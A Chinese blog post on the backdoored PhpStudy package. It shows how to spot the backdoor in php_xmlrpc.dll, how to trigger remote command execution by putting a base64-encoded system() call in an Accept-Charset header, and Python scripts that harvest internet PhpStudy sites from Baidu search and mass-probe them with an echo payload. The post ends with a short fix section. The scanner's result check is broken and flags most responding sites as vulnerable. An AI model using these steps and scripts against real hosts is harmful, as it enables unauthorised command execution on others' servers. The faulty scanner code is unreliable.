前言:
北京时间9月20日,杭州公安发布《杭州警方通报打击涉网违法犯罪暨‘净网2019’专项行动战果》一文,文章曝光了国内知名PHP调试环境程序集成包“PhpStudy软件”遭到黑客篡改并植入“后门”。截至案发,近百万PHP用户中超过67万用户已被黑客控制,并大肆盗取账号密码、聊天记录、设备码类等敏感数据多达10万多组,非法牟利600多万元。
注:本文仅供学习参考,下文中提到的漏洞利用方法不得在真实网络中使用,请遵守网路安全法。
1、后门检测
现已发现PHPstudy2016、PHPstudy2018中的5.2.17、5.4.45存在后门,正好笔者的电脑安装了2016版本。
在如下目录中的php_xmlrpc.dll文件中
查找发现了@eval(%s('%s'));这就说明存在后门
2、漏洞复现
需要工具:浏览器、burp suite、base64编码工具(如插件hackbar)
1)首先开启PHPstudy服务,在浏览器中设置代理模式设置端口与burp监听端口一致,
浏览器代理与burp设置如下:
2)用浏览器打开一个php页面,这里以PHP探针为例
此时在burp中已经记录了这个数据包,把数据包发送到repeater中进行编辑
3)在Accept-Encoding: gzip,deflate后面加一行:Accept-Charset:加上base64编码后的PHP语句,我写的语句是system("ipconfig");
注:数据包发到repeater之后在deflate之前多了个空格,要删除否则会报错
注:PHP中的system()函数执行系统命令
点击go只后可以看到服务器端成功执行了我的命令,漏洞利用成功。
3、批量扫描漏洞
利用谷歌黑客语句搜索PHP网站,编写python程序爬取互联网中的PHP网站,对每个网址进行漏洞测试,这里笔者写了一个简陋的爬虫,PS:百度的爬虫真不好写。爬取PHP网址的脚本如下:
提示:请不要在真实网络尝试!
import requests
import bs4
import re
'''author CSDN weixin_42372877'''
def get_html(url):
headers = {"user-agent":"Mozilla/5.0 (Windows NT 10.0; \
WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 \
Safari/537.36"}
res = requests.get(url,headers=headers)
res.encoding = "gbk"
return res.text
def get_urllist(html):
newurllist = []
soup = bs4.BeautifulSoup(html,"html.parser")
#urllist = soup.find_all(reruler,html)
urllist = soup.find_all("h3")
#print(urllist)
for i in urllist:
i = i.find_all('a')
for j in i:
j = j.attrs['href']
newurllist.append(j)
print(newurllist)
with open('url.txt','w') as f:
for i in newurllist:
f.write(i+"\r\n")
url = "https://www.baidu.com/s?wd=intext%3AphpStudy%20%E6%8E%A2%E9%92%88%20201&pn=0&oq=intitle%3AphpStudy%20%E6%8E%A2%E9%92%88%20201&tn=monline_3_dg&ie=utf-8&rsv_pq=aa9b8bb6000775f9&rsv_t=23fehtxxnJPeSpOs2hEOHUf1Zf7nLSYBvzUnoQlABB%2BgZzjUAnK%2FCxXVegWBR6lL6FJA"
html = get_html(url)
reruler = "http://www.baidu.com/link?url=.*"
get_urllist(html)
4、将存在后门的PHP网址存入url.txt中后,可以用BP来测试,用python脚本批量检测当然更方便。思路如下:
通过调用requests构造一个请求数据包,在请求头部中加入Accept-Charset:加上base64编码的PHP语句,如加上编码后的echo ‘398867’;,在响应页面中查找是否有398867,如果有则说明存在后门。代码如下:
# !/usr/bin/env python
# -*- coding:utf-8 -*-
'''author CSDN weixin_42372877'''
import gevent
from gevent import monkey
gevent.monkey.patch_all()
import requests as rq
def file_read(file_name="url.txt"):
with open(file_name, "r") as f:
return [i.replace("\n", "") for i in f.readlines()]
def check(url):
'''
if "http://" or "https://" not in url:
url = "https://" + url
'''
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36 Edg/77.0.235.27',
'Sec-Fetch-Mode': 'navigate',
'Sec-Fetch-User': '?1',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3',
'Sec-Fetch-Site': 'none',
'accept-charset': 'ZWNobyAnMzk4ODY3Jzs=', # echo '398867';
'Accept-Encoding': 'gzip,deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'''构造请求头'''
}
try:
res = rq.get(url, headers=headers, timeout=20)
if res.status_code == 200:
if res.text.find('398867'): #判断是否执行了输出语句
print("[存在漏洞] " + url)
except:
print("[超时] " + url)
if __name__ == '__main__':
tasks = [gevent.spawn(check, url) for url in file_read()]
print("正在执行...请等候")
gevent.joinall(tasks)
wait = input("执行完毕 任意键退出...")
5、修复方法
请尽快升级为官网更新的版本,或者下载官网中的版本,将php_xmlrpc.dll文件替换。
后门利用脚本与扫描脚本类似,这里就不放了,如有错误恳请指出。